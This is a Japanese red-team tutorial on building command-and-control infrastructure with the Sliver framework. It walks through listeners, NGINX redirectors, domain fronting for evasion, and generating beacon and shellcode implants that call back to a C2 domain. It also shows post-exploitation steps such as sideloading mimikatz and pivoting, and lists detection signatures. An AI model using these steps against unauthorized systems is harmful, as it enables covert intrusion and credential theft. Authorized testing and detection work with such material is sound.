SliverフレームワークによるC2インフラ構築 は何をしますか?
概要
Sliverは、BishopFoxが開発したオープンソースのクロスプラットフォーム対抗エミュレーションフレームワークで、Go言語で記述されています。レッドチームに、インプラント生成、マルチプロトコルC2チャネル(mTLS、HTTP/S、DNS、WireGuard)、マルチオペレーターサポート、および広範なポストエクスプロイテーション機能を提供します。Sliverはビーコン(非同期)モードとセッション(対話型)モードをサポートしており、長期運用と対話型エクスプロイテーションの両方に適しています。適切に設計されたSliverインフラストラクチャは、リダイレクタ、ドメインフロンティング、HTTPS証明書を使用して、運用上の回復力を維持し、検出を回避します。
使用するタイミング
- 環境内でSliverフレームワークによるC2インフラ構築機能をデプロイまたは設定する場合
- コンプライアンス要件に沿ったセキュリティコントロールを確立する場合
- このドメインのセキュリティアーキテクチャを構築または改善する場合
- この実装を必要とするセキュリティ評価を実施する場合
前提条件
- レッドチームの概念とツールに関する知識
- 安全な実行のためのテスト環境またはラボ環境へのアクセス
- Python 3.8以上と必要な依存関係がインストールされていること
- テスト活動に対する適切な承認
目的
- 強化されたクラウドインフラ上にSliverチームサーバーをデプロイする
- HTTPS、mTLS、DNS、WireGuardリスナーを設定する
- ターゲットプラットフォーム用のインプラント(ビーコンおよびセッション)を生成する
- インプラントとチームサーバー間にNGINXまたはApacheリダイレクタを設置する
- CloudflareまたはCDNベースのドメインフロンティングを実装してトラフィックを難読化する
- 証明書ベースの認証によるマルチオペレーターアクセスを設定する
- C2通信のための運用セキュリティコントロールを確立する
MITRE ATT&CKマッピング
- T1071.001 - アプリケーション層プロトコル:Webプロトコル
- T1071.004 - アプリケーション層プロトコル:DNS
- T1573.002 - 暗号化チャネル:非対称暗号
- T1090.002 - プロキシ:外部プロキシ(リダイレクタ)
- T1105 - イングレスツール転送
- T1132.001 - データエンコーディング:標準エンコーディング
- T1572 - プロトコルトンネリング
ワークフロー
フェーズ1:チームサーバーのデプロイ
- チームサーバー用のVPS(例:DigitalOcean、Linode、AWS EC2)をプロビジョニングする
- OSを強化する:SSHパスワード認証を無効化、UFW/iptablesを設定、fail2banをインストール
- 公式インストールスクリプトを使用してSliverをインストールする:
curl https://sliver.sh/install | sudo bash
- Sliverサーバーデーモンを起動する:
systemctl start sliver
sliver-server
- チームメンバー用のオペレーター設定ファイルを生成する:
new-operator --name operator1 --lhost <team-server-ip>
フェーズ2:リスナー設定
- 有効なSSL証明書を使用してHTTPSリスナーを設定する:
https --lhost 0.0.0.0 --lport 443 --domain c2.example.com --cert /path/to/cert.pem --key /path/to/key.pem
- フォールバックC2用のDNSリスナーを設定する:
dns --domains c2dns.example.com --lport 53
- 高セキュリティセッション用のmTLSリスナーを設定する:
mtls --lhost 0.0.0.0 --lport 8888
- トンネルアクセス用のWireGuardリスナーを設定する:
wg --lport 51820
フェーズ3:リダイレクタのセットアップ
- ターゲットとチームサーバーの間に別のVPSをリダイレクタとしてデプロイする
- NGINXをリバースプロキシとしてインストールおよび設定する:
server {
listen 443 ssl;
server_name c2.example.com;
ssl_certificate /etc/letsencrypt/live/c2.example.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/c2.example.com/privkey.pem;
location / {
proxy_pass https://<team-server-ip>:443;
proxy_ssl_verify off;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
- チームサーバーで、リダイレクタからの接続のみを受け入れるようにiptablesルールを設定する:
iptables -A INPUT -p tcp --dport 443 -s <redirector-ip> -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -j DROP
- オプションで、ドメインフロンティングのためにリダイレクタの前面にCDNレイヤーとしてCloudflareを設定する
フェーズ4:インプラント生成
- HTTPSビーコンインプラントを生成する:
generate beacon --http https://c2.example.com --os windows --arch amd64 --format exe --name payload
- 制限されたネットワーク向けにDNSビーコンを生成する:
generate beacon --dns c2dns.example.com --os windows --arch amd64
- インジェクション用のシェルコードペイロードを生成する:
generate --http https://c2.example.com --os windows --arch amd64 --format shellcode
- ビーコンのジッターとコールバック間隔を設定する:
generate beacon --http https://c2.example.com --seconds 60 --jitter 30
フェーズ5:ポストエクスプロイテーション操作
- アクティブなビーコン/セッションと対話する:
beacons
use <beacon-id>
- ポストエクスプロイテーションモジュールを実行する:
ps
netstat
execute-assembly /path/to/Seatbelt.exe -group=all
sideload /path/to/mimikatz.dll
- 内部ネットワークアクセス用のピボットを設定する:
pivots tcp --bind 0.0.0.0:9898
- メモリ内実行のためにBOF(Beacon Object Files)を使用する:
armory install sa-ldapsearch
sa-ldapsearch -- "(objectClass=user)"
ツールとリソース
| ツール | 目的 | プラットフォーム |
|---|
| Sliverサーバー | C2チームサーバーとインプラント管理 | Linux/macOS/Windows |
| Sliverクライアント | チームメンバー用のオペレーターコンソール | クロスプラットフォーム |
| NGINX | リダイレクタおよびリバースプロキシ | Linux |
| Certbot | Let's Encrypt SSL証明書の生成 | Linux |
| Cloudflare | CDNとドメインフロンティング | クラウド |
| Armory | Sliver拡張機能/BOFパッケージマネージャー | 内蔵 |
検出シグネチャ
| 指標 | 検出方法 |
|---|
| デフォルトのSliver HTTPヘッダー | 異常なUser-Agent文字列のネットワークトラフィック分析 |
| 非標準ポートでのmTLS | 異常なポートへのアウトバウンド接続のファイアウォールログ |
| 高エントロピーなDNS TXTレコードクエリ | エンコードされたC2トラフィックのDNSログ分析 |
| ポート51820でのWireGuard UDPトラフィック | WireGuardハンドシェイクパターンのネットワークフロー分析 |
| Sliverインプラントファイルハッシュ | 既知のSliverサンプルに対するEDR/AVシグネチャマッチング |
検証基準